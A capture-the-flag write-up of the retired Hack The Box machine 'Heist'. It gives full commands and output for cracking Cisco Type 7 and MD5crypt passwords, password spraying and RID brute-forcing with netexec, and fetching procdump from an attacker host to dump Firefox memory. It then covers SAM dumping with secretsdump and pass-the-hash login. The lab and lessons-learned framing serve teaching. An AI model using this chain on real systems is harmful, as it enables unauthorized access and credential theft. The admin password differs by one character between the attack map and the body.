root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat heist.md
// writeups

Heist

10 Aug 2019 · 7 min read
Heist — Hack The Box machine

Executive summary — Heist is a tour of credential hygiene without exploiting a single software vulnerability: a support web app with guest access leaks a ticket carrying an attached Cisco router configuration; its Type 7 passwords (reversible by design) and its enable secret 5 (crackable MD5crypt) get reused against the host's Windows accounts; and, once inside as a user, a running Firefox keeps the administrator's panel password sitting in its process memory — dumping it with procdump closes the chain up to Administrator.

PlatformHack The Box
Operating systemWindows Server 2019 (Build 17763)
DifficultyEasy
StatusRetired
Target IP<TARGET_IP>

Attack map

[80/HTTP] login.php?guest=true -> issues.php (ticket with attachment)
   |
   v
[Attachment] config.txt Cisco IOS -- password 7 (reversible XOR) + enable secret 5 (MD5crypt)
   |  decrypt + hashcat -m 500
   v
[Reuse] hazard:stealth1agent (SMB) -- Chase:Q4)sJu\Y8qz*A3?d (WinRM)
   v
[USER] Chase over WinRM -> user.txt
   |  firefox.exe running (owned by Chase)
   v
[procdump] Firefox process memory dump (466 MB)
   |  Select-String "login_password" in the dump
   v
[ROOT] admin@support.htb : 4dD!5}}x/re8]FBuZ == Administrator password -> root.txt

1. Reconnaissance

An ICMP ttl≈127 (128 minus one hop) points at Windows.

sudo nmap -p- --min-rate 3000 -T4 -Pn -oN nmap-allports.txt <TARGET_IP>
80/tcp    open  http
135/tcp   open  msrpc
445/tcp   open  microsoft-ds
5985/tcp  open  wsman
49669/tcp open  unknown
sudo nmap -p80,135,445,5985 -sCV -Pn -oN nmap-services.txt <TARGET_IP>
80/tcp   open  http   Microsoft IIS httpd 10.0
| http-title: Support Login Page          (redirects to login.php)
| http-cookie-flags: PHPSESSID (httponly flag not set)     <- IIS + PHP
445/tcp  open  microsoft-ds? (name:SUPPORTDESK domain:SupportDesk signing not required)
5985/tcp open  http   Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)     <- WinRM

IIS + PHP is an unusual pairing — the PHPSESSID cookie on IIS gives away a hand-rolled PHP application, a good candidate for the initial surface. No Active Directory ports (88/389/53): this is a standalone Windows server, not a DC. WinRM already open hints at the shell path once a valid credential for a Remote Management Users member turns up.

netexec smb <TARGET_IP> -u '' -p '' --shares       # STATUS_ACCESS_DENIED
netexec smb <TARGET_IP> -u 'guest' -p '' --shares  # STATUS_LOGON_FAILURE

SMB closed to null and guest sessions: the real entry point is the web app.

2. The support portal — guest access and the leaked ticket

login.php carries a ?guest=true link: an authentication bypass by design that logs in with no credentials at all.

curl -s -c gj.txt -L "http://<TARGET_IP>/login.php?guest=true" -o guest.html

The effective destination is issues.php, a support ticket thread:

Hazard — 20 minutes ago:
  Hi, I've been experiencing problems with my cisco router. Here's a part of the
  configuration the previous admin had been using. [Attachment]

Support Admin — 10 minutes ago:
  Hi, thanks for posting the issue here. Let me take a look and get back to you!

Hazard — 10 minutes ago:
  Thanks a lot. Also, please create an account for me on the windows server as I
  need to access the files.

Two golden pieces of information: there's an attached Cisco router configuration, and the thread itself confirms Hazard will get a Windows account — a preview of the credential reuse that ends the box.

curl -s "http://<TARGET_IP>/attachments/config.txt" -o cisco-config.txt

3. The Cisco config — reversible Type 7 and a crackable enable secret

enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408

Two very different kinds of secret. Cisco Type 7 isn't encryption in any cryptographic sense: it's an XOR with a fixed, public key that's been published since the 90s — the service password-encryption directive that enables it is purely cosmetic, documented by Cisco as protection against "shoulder surfing", never as real security. enable secret 5 instead is a salted MD5crypt hash ($1$salt$hash) — not reversible, but crackable by dictionary if the password is weak.

python3 cisco7_decrypt.py 0242114B0E143F015F5D1E161713          # -> $uperP@ssword
python3 cisco7_decrypt.py 02375012182C1A1D751618034F36415408    # -> Q4)sJu\Y8qz*A3?d

Type 7 is reversed with a known 53-byte XOR key: the first two hex digits are the starting offset into the key, and the rest are the password bytes XOR'd against it byte by byte (equivalent tools: ciscot7, hashcat -m 7700, or the Metasploit module).

echo '$1$pdQG$o8nrSzsGXeaduXrjlvKc91' > s5.hash
hashcat -m 500 -a 0 s5.hash /usr/share/wordlists/rockyou.txt --quiet -O -w 3
$1$pdQG$o8nrSzsGXeaduXrjlvKc91:stealth1agent

Performance note: john --format=md5crypt-long crawled (17% of rockyou in 3 minutes). MD5crypt is a slow, iterated hash by design; GPU hashcat cracks it in seconds — against a $1$ hash, hashcat is the right tool.

Three password candidates to reuse against the system: $uperP@ssword, Q4)sJu\Y8qz*A3?d and stealth1agent.

4. Password spraying — from the network to the operating system

netexec smb <TARGET_IP> -u users.txt -p pass.txt --continue-on-success
[+] SupportDesk\hazard:stealth1agent      <- hazard reuses the "enable secret"

A valid SMB credential enables enumerating every local account by RID brute-force against IPC$ — incremental LookupSids starting at RID 500, the way to recover real account names without LDAP:

netexec smb <TARGET_IP> -u hazard -p stealth1agent --rid-brute
500: SUPPORTDESK\Administrator
501: SUPPORTDESK\Guest
1008: SUPPORTDESK\Hazard
1009: SUPPORTDESK\support
1012: SUPPORTDESK\Chase
1013: SUPPORTDESK\Jason
netexec smb   <TARGET_IP> -u allu.txt -p allp.txt --continue-on-success
netexec winrm <TARGET_IP> -u allu.txt -p allp.txt --continue-on-success
SMB   [+] Hazard:stealth1agent
SMB   [+] Chase:Q4)sJu\Y8qz*A3?d
WINRM [+] Chase:Q4)sJu\Y8qz*A3?d (Pwn3d!)

hazard only has SMB (access to IPC$, nothing useful), but the "admin" Type 7 turns out to be Chase's real password — and Chase has WinRM.

netexec winrm <TARGET_IP> -u Chase -p 'Q4)sJu\Y8qz*A3?d' -X 'whoami; type C:\Users\Chase\Desktop\user.txt; whoami /priv'
supportdesk\chase
0d68470152152ad37effe054de3bd1c5

SeChangeNotifyPrivilege        Enabled
SeIncreaseWorkingSetPrivilege  Enabled

user.txt: 0d68470152152ad37effe054de3bd1c5. Chase's privileges are low-impact — escalation has to come from something already present on the system, not from a token privilege.

5. The Firefox process — credentials sitting in memory

Get-Process | Where-Object {$_.Path -notlike "C:\Windows\*"} |
  Select Name,Path -Unique | Format-Table -Auto
firefox   C:\Program Files\Mozilla Firefox\firefox.exe     <- browser running

A running Firefox on a headless server is anomalous and almost always intentional: someone — the administrator — has an open browser session. The profile keeps no saved passwords on disk (no logins.json), but that doesn't mean none are in memory: an open browser keeps everything submitted through forms during the session sitting in its address space, passwords included.

Chase owns the Firefox processes (they run in his own session), so he can dump their memory without SeDebugPrivilege — that privilege is only needed to dump other users' processes.

# Kali
python3 -m http.server 8080
# Chase (WinRM)
cd $env:TEMP
Invoke-WebRequest http://<ATTACKER_IP>:8080/procdump64.exe -OutFile pd.exe
.\pd.exe -accepteula -ma 6404 ff.dmp
Dump 1 writing: Estimated dump file size is 466 MB.
Dump 1 complete: 466 MB written

Sysinternals procdump (Microsoft-signed, not blocked by Defender) is run against Firefox's parent process (the lowest PID): in Firefox's multi-process architecture the main process coordinates the session and usually keeps navigation state and form data.

The login form uses the fields login_username/login_password — that pattern is searched for in the 466 MB dump:

$dump = "$env:TEMP\ff.dmp"
Select-String -Path $dump -Pattern "login_password" -Encoding ascii -AllMatches | ...
localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=...

What actually happened: the administrator browsed to login.php?login_username=...&login_password=... — the fields travelled in the URL instead of a POST body — and Firefox kept that URL in its in-memory history and session-restart variables, which is why it shows up repeatedly in the dump.

6. Administrator → root.txt

netexec smb   <TARGET_IP> -u Administrator -p '4dD!5}x/re8]FBuZ'    # [+] (Pwn3d!)
netexec winrm <TARGET_IP> -u Administrator -p '4dD!5}x/re8]FBuZ'    # [+] (Pwn3d!)
netexec winrm <TARGET_IP> -u Administrator -p '4dD!5}x/re8]FBuZ' -X 'whoami; type C:\Users\Administrator\Desktop\root.txt'
supportdesk\administrator
82f5e419a8e44b12edd2b7e1c0f2628a

root.txt: 82f5e419a8e44b12edd2b7e1c0f2628a

With local administrator access, the SAM gets dumped for password-independent persistence:

impacket-secretsdump 'Administrator:4dD!5}x/re8]FBuZ@<TARGET_IP>'
Administrator:500:aad3b435b51404eeaad3b435b51404ee:10f08e9e3787aec843594cfd01f1a6a5:::

The NT hash authenticates directly, no password needed:

netexec winrm <TARGET_IP> -u Administrator -H 10f08e9e3787aec843594cfd01f1a6a5

Vulnerability summary

PhaseComponentVulnerabilityImpact
Web reconlogin.php?guest=trueAuthentication bypass by design (CWE-284)Access to support tickets
Secret leakattachments/config.txtDevice configuration with secrets in an accessible attachment (CWE-538)Three password candidates
Crypto weaknessCisco IOS configReversible Type 7 encryption (CWE-261) + weak enable secret 5 (CWE-521)Cleartext passwords
Reusehazard / ChasePasswords shared between network gear and system accounts (CWE-521)SMB/WinRM access (user.txt)
Post-exploitationfirefox.exe processCredentials recoverable from a running process's memory (CWE-316)Administrator password (root.txt)

Lessons learned

  • Encryption isn't the same as hashing: Cisco Type 7 reverses instantly with a public key from the 90s — it should never be treated as real protection for a credential.
  • Reusing passwords across separate trust domains (network gear ↔ operating-system accounts) collapses the boundary between them: compromising the weaker one compromises the other.
  • A process's memory is as real a credential store as a file on disk — a browser left logged in on a server is, in practice, the administrator's password sitting in the clear, waiting for any user who can dump their own processes to read it.
  • Sending credentials as URL parameters instead of a POST body leaves them exposed in history, proxy/server logs and — as here — in the browser's own memory for the entire session.